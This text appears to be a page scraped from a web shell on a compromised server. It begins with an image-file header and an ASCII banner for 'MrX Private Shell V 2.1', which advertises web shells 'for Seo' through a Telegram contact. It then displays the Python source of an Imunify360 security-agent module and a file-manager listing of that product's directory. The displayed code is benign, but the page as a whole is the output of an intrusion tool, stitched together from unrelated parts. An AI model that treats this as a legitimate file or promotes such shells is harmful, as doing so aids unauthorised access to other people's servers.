����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
from logging import getLogger
from defence360agent.rpc_tools.lookup import bind
from defence360agent.utils import Scope
from imav.simple_rpc.conflicts import (
ConflictsEndpoints as ConflictsEndpointsAV,
)
from im360.internals.core.firewall import is_nat_available
from im360.subsys import csf
from im360.subsys.panels.generic import GenericPanel
from im360.subsys.panels.hosting_panel import HostingPanel
from im360.subsys.panels import hosting_panel
from im360.subsys.running_ids import RunningIds
from im360.subsys.webshield import is_ssl_cache_configured
from im360.subsys.pam import enable, PAMError, PamService
from im360.subsys.smtp_blocking import is_SMTP_blocking_supported
from im360.subsys.waf_rules_configurator import is_webserver_supported
from defence360agent.utils.validate import IP
logger = getLogger(__name__)
class ConflictsEndpoints(ConflictsEndpointsAV):
"""Imunify360 3rdparty endpoints
Endpoints:
- 3rdparty conflicts (defined in the base class)
- 3rdparty list
"""
SCOPE = Scope.IM360
@bind("3rdparty", "list")
async def list_3rdparty_cmd(self):
return {"items": (await RunningIds()).ids_list}
@property
def _funcs(self):
"""List of functions for "3rdparty conflicts" endpoint"""
return super()._funcs + [
self._malware_scan_conflicts,
self._csf_conflicts,
self._smtp_blocking_conflicts,
self._waf_conflicts,
self._webshield_ssl_conflicts,
self._pam_ftp_conflicts,
]
@staticmethod
async def _malware_scan_conflicts(results_dict):
if not await HostingPanel().installed_modsec():
results_dict["scan_modsec"] = True
return results_dict
@staticmethod
async def _csf_conflicts(results_dict):
if await csf.is_running():
results_dict["csf_dos_protector"] = True
return results_dict
@staticmethod
async def _smtp_blocking_conflicts(results_dict):
if not await is_SMTP_blocking_supported():
results_dict["smtp_blocking_kernel_support"] = True
if await csf.is_SMTP_block_enabled():
results_dict["smtp_blocking_CSF_block"] = True
is_hp_has_SMTP_conflict = HostingPanel().get_SMTP_conflict_status()
if is_hp_has_SMTP_conflict:
results_dict["smtp_blocking_enable"] = True
if not is_nat_available(IP.V6):
results_dict["smtp_blocking_ip6table_nat"] = True
return results_dict
@staticmethod
async def _waf_conflicts(results_dict):
if not await is_webserver_supported():
results_dict["mod_sec_app_specific_ruleset_apache_v24"] = True
return results_dict
@staticmethod
async def _webshield_ssl_conflicts(results_dict):
panel = hosting_panel.HostingPanel()
if (
isinstance(panel, GenericPanel)
and not await is_ssl_cache_configured()
):
results_dict["webshield_ssl_cache_not_configured"] = True
return results_dict
@staticmethod
async def _pam_ftp_conflicts(results_dict):
try:
await enable(PamService.FTP, True)
except PAMError:
results_dict["pam_ftp_not_available"] = True
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| schema | Folder | 0755 |
|
|
| schema_responses | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| configuration_management.py | File | 3.12 KB | 0644 |
|
| conflicts.py | File | 3.21 KB | 0644 |
|
| control_panel.py | File | 484 B | 0644 |
|
| countries.py | File | 5.72 KB | 0644 |
|
| csf_imports.py | File | 2.63 KB | 0644 |
|
| custom_lists.py | File | 642 B | 0644 |
|
| disabled_rules.py | File | 7.47 KB | 0644 |
|
| feature.py | File | 1.9 KB | 0644 |
|
| health.py | File | 343 B | 0644 |
|
| hosting_panel.py | File | 2.73 KB | 0644 |
|
| incidents.py | File | 1.83 KB | 0644 |
|
| kcarectl.py | File | 824 B | 0644 |
|
| lists.py | File | 30.66 KB | 0644 |
|
| malware.py | File | 385 B | 0644 |
|
| middleware.py | File | 1.32 KB | 0644 |
|
| proactive.py | File | 7.91 KB | 0644 |
|
| remote_proxy.py | File | 2.97 KB | 0644 |
|
| resident_socket.py | File | 1.59 KB | 0644 |
|
| schema.py | File | 1.05 KB | 0644 |
|
| smart_advice.py | File | 1.25 KB | 0644 |
|
| smtp_blocking.py | File | 1.72 KB | 0644 |
|
| unavailable_on_freemium.py | File | 354 B | 0644 |
|
| uninstall_cleanup.py | File | 2.42 KB | 0644 |
|
| validate.py | File | 9.19 KB | 0644 |
|
| whitelist_rbl.py | File | 409 B | 0644 |
|
| whitelisted_crawlers.py | File | 1.02 KB | 0644 |
|
| whitelisted_domains.py | File | 821 B | 0644 |
|